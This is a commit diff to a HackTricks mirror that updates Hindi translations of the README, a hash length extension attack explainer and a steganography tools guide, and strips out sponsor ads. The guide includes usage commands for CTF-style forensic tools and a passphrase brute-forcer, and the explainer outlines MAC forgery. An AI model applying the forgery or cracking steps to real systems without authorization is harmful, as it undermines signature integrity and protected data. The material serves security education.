mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack.
This commit is contained in:
parent
a15bf7e57b
commit
51bc40d483
86 changed files with 1731 additions and 3200 deletions
44
README.md
44
README.md
|
@ -87,54 +87,20 @@ _Hacktricks लोगो और मोशन डिज़ाइन द्वा
|
|||
|
||||
***
|
||||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SerpApi तेज और आसान वास्तविक समय APIs प्रदान करता है ताकि आप **सर्च इंजन परिणामों** तक पहुँच सकें। वे सर्च इंजनों को स्क्रैप करते हैं, प्रॉक्सी को संभालते हैं, कैप्चा हल करते हैं, और आपके लिए सभी समृद्ध संरचित डेटा को पार्स करते हैं।
|
||||
|
||||
SerpApi की योजनाओं में से एक की सदस्यता में विभिन्न सर्च इंजनों को स्क्रैप करने के लिए 50 से अधिक विभिन्न APIs तक पहुँच शामिल है, जिसमें Google, Bing, Baidu, Yahoo, Yandex, और अधिक शामिल हैं।\
|
||||
अन्य प्रदाताओं के विपरीत, **SerpApi केवल ऑर्गेनिक परिणामों को स्क्रैप नहीं करता**। SerpApi प्रतिक्रियाएँ लगातार सभी विज्ञापनों, इनलाइन छवियों और वीडियो, ज्ञान ग्राफ़, और खोज परिणामों में मौजूद अन्य तत्वों और सुविधाओं को शामिल करती हैं।
|
||||
|
||||
वर्तमान SerpApi ग्राहक **Apple, Shopify, और GrubHub** हैं।\
|
||||
अधिक जानकारी के लिए उनके [**ब्लॉग**](https://serpapi.com/blog/) पर जाएँ, या उनके [**प्लेग्राउंड**](https://serpapi.com/playground) में एक उदाहरण आज़माएँ।\
|
||||
आप **यहाँ** [**एक मुफ्त खाता बना सकते हैं**](https://serpapi.com/users/sign\_up)**।**
|
||||
|
||||
***
|
||||
|
||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
|
||||
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### [WebSec](https://websec.nl/)
|
||||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) एक पेशेवर साइबर सुरक्षा कंपनी है जो **एम्स्टर्डम** में स्थित है जो **दुनिया भर में** व्यवसायों को नवीनतम साइबर सुरक्षा खतरों से **सुरक्षित** करने में मदद करती है, **आक्रामक-सुरक्षा सेवाएँ** प्रदान करके एक **आधुनिक** दृष्टिकोण के साथ।
|
||||
[**WebSec**](https://websec.nl) एक पेशेवर साइबर सुरक्षा कंपनी है जो **एम्स्टर्डम** में स्थित है जो **दुनिया भर में** व्यवसायों को नवीनतम साइबर सुरक्षा खतरों से **सुरक्षित करने** में मदद करती है, **आक्रामक-सुरक्षा सेवाएं** प्रदान करके एक **आधुनिक** दृष्टिकोण के साथ।
|
||||
|
||||
WebSec एक **ऑल-इन-वन सुरक्षा कंपनी** है जिसका अर्थ है कि वे सब कुछ करते हैं; पेंटेस्टिंग, **सुरक्षा** ऑडिट, जागरूकता प्रशिक्षण, फ़िशिंग अभियान, कोड समीक्षा, शोषण विकास, सुरक्षा विशेषज्ञों का आउटसोर्सिंग और बहुत कुछ।
|
||||
WebSec एक **ऑल-इन-वन सुरक्षा कंपनी** है जिसका मतलब है कि वे सब कुछ करते हैं; पेंटेस्टिंग, **सुरक्षा** ऑडिट, जागरूकता प्रशिक्षण, फ़िशिंग अभियान, कोड समीक्षा, शोषण विकास, सुरक्षा विशेषज्ञों का आउटसोर्सिंग और बहुत कुछ।
|
||||
|
||||
WebSec के बारे में एक और अच्छी बात यह है कि उद्योग के औसत के विपरीत WebSec **अपनी क्षमताओं में बहुत आत्मविश्वासी है**, इस हद तक कि वे **सर्वश्रेष्ठ गुणवत्ता परिणामों की गारंटी** देते हैं, यह उनके वेबसाइट पर लिखा है "**अगर हम इसे हैक नहीं कर सकते, तो आप इसे नहीं चुकाएँगे!**" अधिक जानकारी के लिए उनके [**वेबसाइट**](https://websec.nl/en/) और [**ब्लॉग**](https://websec.nl/blog/) पर नज़र डालें!
|
||||
WebSec के बारे में एक और अच्छी बात यह है कि उद्योग के औसत के विपरीत WebSec **अपने कौशल में बहुत आत्मविश्वास** है, इस हद तक कि वे **सर्वश्रेष्ठ गुणवत्ता परिणामों की गारंटी** देते हैं, यह उनके वेबसाइट पर लिखा है "**अगर हम इसे हैक नहीं कर सकते, तो आप इसका भुगतान नहीं करते!**" अधिक जानकारी के लिए उनके [**वेबसाइट**](https://websec.nl/en/) और [**ब्लॉग**](https://websec.nl/blog/) पर नज़र डालें!
|
||||
|
||||
उपरोक्त के अलावा WebSec भी HackTricks का **प्रतिबद्ध समर्थक है।**
|
||||
उपरोक्त के अलावा WebSec भी HackTricks का **प्रतिबद्ध समर्थक** है।
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या किसी कंपनी या उसके ग्राहकों को **चुराने वाले मैलवेयर** द्वारा **समझौता** किया गया है।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चुराने वाले मैलवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जाकर और उनके इंजन को **मुफ्त** में आज़मा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
## License & Disclaimer
|
||||
|
||||
|
@ -159,7 +125,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें ट्विटर पर फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* हैकिंग ट्रिक्स साझा करें द्वारा [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,43 +15,30 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **समझौता** किए गए हैं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Summary of the attack
|
||||
|
||||
कल्पना करें कि एक सर्वर कुछ **डेटा** को **जोड़कर** एक **गुप्त** को कुछ ज्ञात स्पष्ट पाठ डेटा पर **हैश** कर रहा है। यदि आप जानते हैं:
|
||||
कल्पना कीजिए एक सर्वर है जो कुछ डेटा को एक ज्ञात स्पष्ट पाठ डेटा में एक गुप्त को जोड़कर और फिर उस डेटा को हैश करके **हस्ताक्षर** कर रहा है। यदि आप जानते हैं:
|
||||
|
||||
* **गुप्त की लंबाई** (यह एक दिए गए लंबाई रेंज से भी ब्रूटफोर्स किया जा सकता है)
|
||||
* **गुप्त की लंबाई** (इसे दिए गए लंबाई रेंज से भी ब्रूटफोर्स किया जा सकता है)
|
||||
* **स्पष्ट पाठ डेटा**
|
||||
* **एल्गोरिदम (और यह इस हमले के प्रति संवेदनशील है)**
|
||||
* **पैडिंग ज्ञात है**
|
||||
* आमतौर पर एक डिफ़ॉल्ट का उपयोग किया जाता है, इसलिए यदि अन्य 3 आवश्यकताएँ पूरी होती हैं, तो यह भी है
|
||||
* पैडिंग गुप्त+डेटा की लंबाई के आधार पर भिन्न होती है, यही कारण है कि गुप्त की लंबाई की आवश्यकता है
|
||||
* पैडिंग गुप्त + डेटा की लंबाई के आधार पर भिन्न होती है, यही कारण है कि गुप्त की लंबाई की आवश्यकता है
|
||||
|
||||
तो, एक **हमलावर** के लिए **डेटा** को **जोड़ना** और **पिछले डेटा + जोड़े गए डेटा** के लिए एक वैध **हस्ताक्षर** उत्पन्न करना संभव है।
|
||||
तो, एक **हमलावर** के लिए **डेटा जोड़ना** और **पिछले डेटा + जोड़ा गया डेटा** के लिए एक वैध **हस्ताक्षर** उत्पन्न करना संभव है।
|
||||
|
||||
### How?
|
||||
|
||||
बुनियादी रूप से संवेदनशील एल्गोरिदम पहले **डेटा के एक ब्लॉक को हैश** करके हैश उत्पन्न करते हैं, और फिर, **पहले से** बनाए गए **हैश** (राज्य) से, वे **अगले डेटा के ब्लॉक को जोड़ते हैं** और **इसे हैश करते हैं**।
|
||||
बुनियादी रूप से संवेदनशील एल्गोरिदम पहले **डेटा के एक ब्लॉक को हैश करके** हैश उत्पन्न करते हैं, और फिर, **पहले से** बनाए गए **हैश** (राज्य) से, वे **अगले डेटा के ब्लॉक को जोड़ते हैं** और **इसे हैश करते हैं**।
|
||||
|
||||
फिर, कल्पना करें कि गुप्त "गुप्त" है और डेटा "डेटा" है, "गुप्तडेटा" का MD5 6036708eba0d11f6ef52ad44e8b74d5b है।\
|
||||
फिर, कल्पना कीजिए कि गुप्त "गुप्त" है और डेटा "डेटा" है, "गुप्तडेटा" का MD5 6036708eba0d11f6ef52ad44e8b74d5b है।\
|
||||
यदि एक हमलावर "जोड़ें" स्ट्रिंग को जोड़ना चाहता है, तो वह कर सकता है:
|
||||
|
||||
* 64 "A"s का MD5 उत्पन्न करें
|
||||
* पहले से प्रारंभ किए गए हैश की स्थिति को 6036708eba0d11f6ef52ad44e8b74d5b में बदलें
|
||||
* "जोड़ें" स्ट्रिंग को जोड़ें
|
||||
* "जोड़ें" स्ट्रिंग जोड़ें
|
||||
* हैश को समाप्त करें और परिणामी हैश "गुप्त" + "डेटा" + "पैडिंग" + "जोड़ें" के लिए एक **वैध** होगा
|
||||
|
||||
### **Tool**
|
||||
|
@ -62,17 +49,7 @@ WhiteIntel का प्राथमिक लक्ष्य जानकार
|
|||
|
||||
आप इस हमले को अच्छी तरह से समझा सकते हैं [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **समझौता** किए गए हैं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -1,63 +1,55 @@
|
|||
# Stego Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
**AWS हैकिंग सीखें और प्रैक्टिस करें:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP हैकिंग सीखें और प्रैक्टिस करें:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>हैकट्रिक्स का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** को** **फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) **और** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github रेपो में।**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## **फाइलों से डेटा निकालना**
|
||||
|
||||
### **Binwalk**
|
||||
|
||||
एक टूल जो एम्बेडेड छिपे फ़ाइलों और डेटा के लिए बाइनरी फ़ाइलों की खोज के लिए है। यह `apt` के माध्यम से स्थापित किया जाता है और इसका स्रोत [GitHub](https://github.com/ReFirmLabs/binwalk) पर उपलब्ध है।
|
||||
एक उपकरण जो बाइनरी फाइलों में छिपी हुई फाइलों और डेटा की खोज करता है। इसे `apt` के माध्यम से स्थापित किया जाता है और इसका स्रोत [GitHub](https://github.com/ReFirmLabs/binwalk) पर उपलब्ध है।
|
||||
```bash
|
||||
binwalk file # Displays the embedded data
|
||||
binwalk -e file # Extracts the data
|
||||
binwalk --dd ".*" file # Extracts all data
|
||||
```
|
||||
### **प्रमुख**
|
||||
### **Foremost**
|
||||
|
||||
इसके हेडर्स और फुटर्स के आधार पर फाइलों को पुनः प्राप्त करता है, png छवियों के लिए उपयोगी। `apt` के माध्यम से स्थापित किया जाता है और इसका स्रोत [GitHub](https://github.com/korczis/foremost) पर उपलब्ध है।
|
||||
हेडर और फुटर के आधार पर फ़ाइलों को पुनर्प्राप्त करता है, जो png छवियों के लिए उपयोगी है। इसे `apt` के माध्यम से स्थापित किया गया है, जिसका स्रोत [GitHub](https://github.com/korczis/foremost) पर है।
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
### **Exiftool**
|
||||
|
||||
फ़ाइल मेटाडेटा देखने में मदद करता है, यहाँ उपलब्ध [है](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
|
||||
फाइल मेटाडेटा देखने में मदद करता है, उपलब्ध [यहाँ](https://www.sno.phy.queensu.ca/\~phil/exiftool/)।
|
||||
```bash
|
||||
exiftool file # Shows the metadata
|
||||
```
|
||||
### **Exiv2**
|
||||
|
||||
इसके लिए exiftool के समान, मेटाडेटा देखने के लिए। `apt` के माध्यम से इंस्टॉल किया जा सकता है, स्रोत [GitHub](https://github.com/Exiv2/exiv2) पर उपलब्ध है, और एक [आधिकारिक वेबसाइट](http://www.exiv2.org/) है।
|
||||
Exiftool के समान, मेटाडेटा देखने के लिए। `apt` के माध्यम से स्थापित किया जा सकता है, स्रोत [GitHub](https://github.com/Exiv2/exiv2) पर है, और इसका [आधिकारिक वेबसाइट](http://www.exiv2.org/) है।
|
||||
```bash
|
||||
exiv2 file # Shows the metadata
|
||||
```
|
||||
### **फ़ाइल**
|
||||
### **फाइल**
|
||||
|
||||
वह प्रकार की फ़ाइल की पहचान करें जिसका सामना कर रहे हैं।
|
||||
आप जिस फाइल से निपट रहे हैं, उसके प्रकार की पहचान करें।
|
||||
|
||||
### **स्ट्रिंग्स**
|
||||
|
||||
फ़ाइल से पठनीय स्ट्रिंग्स निकालें, विभिन्न इन्कोडिंग सेटिंग का उपयोग करके आउटपुट को फ़िल्टर करने के लिए।
|
||||
फाइलों से पठनीय स्ट्रिंग्स निकालता है, आउटपुट को फ़िल्टर करने के लिए विभिन्न एन्कोडिंग सेटिंग्स का उपयोग करता है।
|
||||
```bash
|
||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||
strings -n 6 file | head -n 20 # First 20 strings
|
||||
|
@ -69,164 +61,160 @@ strings -e b -n 6 file # 16bit strings (big-endian)
|
|||
strings -e L -n 6 file # 32bit strings (little-endian)
|
||||
strings -e B -n 6 file # 32bit strings (big-endian)
|
||||
```
|
||||
### **तुलना (cmp)**
|
||||
### **Comparison (cmp)**
|
||||
|
||||
एक संशोधित फ़ाइल की तुलना के लिए उपयोगी है जो ऑनलाइन मिली मूल संस्करण के साथ।
|
||||
संशोधित फ़ाइल की तुलना ऑनलाइन पाए गए इसके मूल संस्करण से करने के लिए उपयोगी।
|
||||
```bash
|
||||
cmp original.jpg stego.jpg -b -l
|
||||
```
|
||||
## **पाठ में छिपी डेटा निकालना**
|
||||
## **छिपे हुए डेटा को निकालना**
|
||||
|
||||
### **अंतरिक्ष में छिपा डेटा**
|
||||
### **स्पेस में छिपा डेटा**
|
||||
|
||||
दृश्यमान रिक्त स्थानों में अदृश्य वर्णमालाएं जानकारी छुपा सकती है। इस डेटा को निकालने के लिए, [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) पर जाएं।
|
||||
दृश्यमान रूप से खाली स्पेस में अदृश्य वर्ण जानकारी छिपा सकते हैं। इस डेटा को निकालने के लिए, [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) पर जाएं।
|
||||
|
||||
## **छवियों से डेटा निकालना**
|
||||
|
||||
### **ग्राफिकमैजिक के साथ छवि विवरणों की पहचान**
|
||||
### **GraphicMagick के साथ छवि विवरण की पहचान करना**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) छवि फ़ाइल प्रकार निर्धारित करने और संभावित क्षति की पहचान करने के लिए सेवित करता है। निम्नलिखित कमांड को निष्पादित करें एक छवि की जांच करने के लिए:
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) छवि फ़ाइल प्रकारों को निर्धारित करने और संभावित भ्रष्टाचार की पहचान करने के लिए कार्य करता है। एक छवि का निरीक्षण करने के लिए नीचे दिए गए कमांड को निष्पादित करें:
|
||||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
एक क्षतिग्रस्त छवि पर मरम्मत करने के प्रयास में, मेटाडेटा टिप्पणी जोड़ना मददगार साबित हो सकता है:
|
||||
एक क्षतिग्रस्त छवि की मरम्मत करने का प्रयास करने के लिए, एक मेटाडेटा टिप्पणी जोड़ना सहायक हो सकता है:
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### **डेटा छुपाने के लिए Steghide**
|
||||
### **Steghide for Data Concealment**
|
||||
|
||||
Steghide `JPEG, BMP, WAV, और AU` फ़ाइलों में डेटा छुपाने की सुविधा प्रदान करता है, जो एन्क्रिप्टेड डेटा को संबोधित और निकालने में सक्षम है। स्थापना `apt` का उपयोग करके सरल है, और इसका [स्रोत कोड GitHub पर उपलब्ध है](https://github.com/StefanoDeVuono/steghide)।
|
||||
Steghide डेटा को `JPEG, BMP, WAV, और AU` फ़ाइलों के भीतर छिपाने की सुविधा प्रदान करता है, जो एन्क्रिप्टेड डेटा को एम्बेड और निकालने में सक्षम है। इंस्टॉलेशन `apt` का उपयोग करके सीधा है, और इसका [स्रोत कोड GitHub पर उपलब्ध है](https://github.com/StefanoDeVuono/steghide).
|
||||
|
||||
**कमांड:**
|
||||
**Commands:**
|
||||
|
||||
* `steghide info file` यह दिखाता है कि क्या फ़ाइल में छुपा डेटा है।
|
||||
* `steghide extract -sf file [--passphrase password]` छुपा हुआ डेटा निकालता है, पासवर्ड वैकल्पिक है।
|
||||
* `steghide info file` यह प्रकट करता है कि क्या एक फ़ाइल में छिपा हुआ डेटा है।
|
||||
* `steghide extract -sf file [--passphrase password]` छिपा हुआ डेटा निकालता है, पासवर्ड वैकल्पिक है।
|
||||
|
||||
वेब-आधारित निकासी के लिए, [इस वेबसाइट पर जाएं](https://futureboy.us/stegano/decinput.html)।
|
||||
वेब-आधारित निष्कर्षण के लिए, [इस वेबसाइट](https://futureboy.us/stegano/decinput.html) पर जाएं।
|
||||
|
||||
**Stegcracker के साथ ब्रूटफ़ोर्स हमला:**
|
||||
**Bruteforce Attack with Stegcracker:**
|
||||
|
||||
* Steghide पर पासवर्ड क्रैकिंग की कोशिश करने के लिए, निम्नलिखित रूप में [stegcracker](https://github.com/Paradoxis/StegCracker.git) का उपयोग करें:
|
||||
* Steghide पर पासवर्ड क्रैक करने का प्रयास करने के लिए, [stegcracker](https://github.com/Paradoxis/StegCracker.git) का उपयोग करें:
|
||||
```bash
|
||||
stegcracker <file> [<wordlist>]
|
||||
```
|
||||
### **PNG और BMP फ़ाइलों के लिए zsteg**
|
||||
### **zsteg for PNG and BMP Files**
|
||||
|
||||
zsteg PNG और BMP फ़ाइलों में छिपी डेटा का पता लगाने में विशेषज्ञ है। स्थापना `gem install zsteg` के माध्यम से की जाती है, जिसका [GitHub पर स्रोत](https://github.com/zed-0xff/zsteg) है।
|
||||
zsteg PNG और BMP फ़ाइलों में छिपे डेटा को उजागर करने में विशेषज्ञता रखता है। स्थापना `gem install zsteg` के माध्यम से की जाती है, इसके [source on GitHub](https://github.com/zed-0xff/zsteg) पर।
|
||||
|
||||
**कमांड:**
|
||||
**Commands:**
|
||||
|
||||
* `zsteg -a फ़ाइल` फ़ाइल पर सभी पहचान विधियों को लागू करता है।
|
||||
* `zsteg -E फ़ाइल` डेटा निकालने के लिए एक payload निर्दिष्ट करता है।
|
||||
* `zsteg -a file` एक फ़ाइल पर सभी पहचान विधियों को लागू करता है।
|
||||
* `zsteg -E file` डेटा निष्कर्षण के लिए एक पेलोड निर्दिष्ट करता है।
|
||||
|
||||
### **StegoVeritas और Stegsolve**
|
||||
### **StegoVeritas and Stegsolve**
|
||||
|
||||
**stegoVeritas** मेटाडेटा की जांच करता है, छवि परिवर्तन करता है, और अन्य सुविधाओं के बीच LSB ब्रूट फोर्सिंग लागू करता है। सभी विकल्पों की पूरी सूची के लिए `stegoveritas.py -h` का उपयोग करें और सभी जांचों को क्रियान्वित करने के लिए `stegoveritas.py stego.jpg` का उपयोग करें।
|
||||
**stegoVeritas** मेटाडेटा की जांच करता है, छवि रूपांतरण करता है, और अन्य सुविधाओं के बीच LSB ब्रूट फोर्सिंग लागू करता है। विकल्पों की पूरी सूची के लिए `stegoveritas.py -h` का उपयोग करें और सभी जांचों को निष्पादित करने के लिए `stegoveritas.py stego.jpg` का उपयोग करें।
|
||||
|
||||
**Stegsolve** विभिन्न रंग फ़िल्टर लागू करता है ताकि छवियों में छिपी पाठ या संदेश प्रकट हो सकें। यह [GitHub पर उपलब्ध](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) है।
|
||||
**Stegsolve** छवियों के भीतर छिपे पाठ या संदेशों को प्रकट करने के लिए विभिन्न रंग फ़िल्टर लागू करता है। यह [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) पर उपलब्ध है।
|
||||
|
||||
### **छिपी सामग्री का पता लगाने के लिए FFT**
|
||||
### **FFT for Hidden Content Detection**
|
||||
|
||||
फास्ट फ़ूरियर परिवर्तन (FFT) तकनीक छवियों में छिपी सामग्री को प्रकट कर सकती है। उपयोगी संसाधन शामिल हैं:
|
||||
Fast Fourier Transform (FFT) तकनीकें छवियों में छिपे हुए सामग्री को उजागर कर सकती हैं। उपयोगी संसाधनों में शामिल हैं:
|
||||
|
||||
* [EPFL डेमो](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
* [GitHub पर FFTStegPic](https://github.com/0xcomposure/FFTStegPic)
|
||||
* [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic)
|
||||
|
||||
### **ऑडियो और छवि फ़ाइलों के लिए Stegpy**
|
||||
### **Stegpy for Audio and Image Files**
|
||||
|
||||
Stegpy छवि और ऑडियो फ़ाइलों में जानकारी एम्बेड करने की अनुमति देता है, PNG, BMP, GIF, WebP, और WAV जैसे प्रारूपों का समर्थन करता है। यह [GitHub पर उपलब्ध](https://github.com/dhsdshdhk/stegpy) है।
|
||||
Stegpy छवि और ऑडियो फ़ाइलों में जानकारी को एम्बेड करने की अनुमति देता है, जो PNG, BMP, GIF, WebP, और WAV जैसे प्रारूपों का समर्थन करता है। यह [GitHub](https://github.com/dhsdshdhk/stegpy) पर उपलब्ध है।
|
||||
|
||||
### **PNG फ़ाइल विश्लेषण के लिए Pngcheck**
|
||||
### **Pngcheck for PNG File Analysis**
|
||||
|
||||
PNG फ़ाइलों का विश्लेषण करने या उनकी प्रामाणिकता की पुष्टि करने के लिए, इस्तेमाल करें:
|
||||
PNG फ़ाइलों का विश्लेषण करने या उनकी प्रामाणिकता को मान्य करने के लिए, उपयोग करें:
|
||||
```bash
|
||||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
```
|
||||
### **छवि विश्लेषण के लिए अतिरिक्त उपकरण**
|
||||
|
||||
और अधिक अन्वेषण के लिए, निम्नलिखित पर जाएं:
|
||||
अधिक अन्वेषण के लिए, विचार करें:
|
||||
|
||||
* [मैजिक आई सॉल्वर](http://magiceye.ecksdee.co.uk/)
|
||||
* [छवि त्रुटि स्तर विश्लेषण](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
* [आउटगेस](https://github.com/resurrecting-open-source-projects/outguess)
|
||||
* [ओपनस्टेगो](https://www.openstego.com/)
|
||||
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
|
||||
* [OpenStego](https://www.openstego.com/)
|
||||
* [DIIT](https://diit.sourceforge.net/)
|
||||
|
||||
## **ऑडियो से डेटा निकालना**
|
||||
|
||||
**ऑडियो स्टेगनोग्राफी** ध्वनि फ़ाइलों में जानकारी छुपाने के लिए एक अद्वितीय विधि प्रदान करती है। छुपी हुई सामग्री को समाहित करने या पुनः प्राप्त करने के लिए विभिन्न उपकरणों का उपयोग किया जाता है।
|
||||
**ऑडियो स्टेगनोग्राफी** ध्वनि फ़ाइलों के भीतर जानकारी छिपाने के लिए एक अनूठा तरीका प्रदान करती है। छिपी हुई सामग्री को एम्बेड करने या पुनर्प्राप्त करने के लिए विभिन्न उपकरणों का उपयोग किया जाता है।
|
||||
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
|
||||
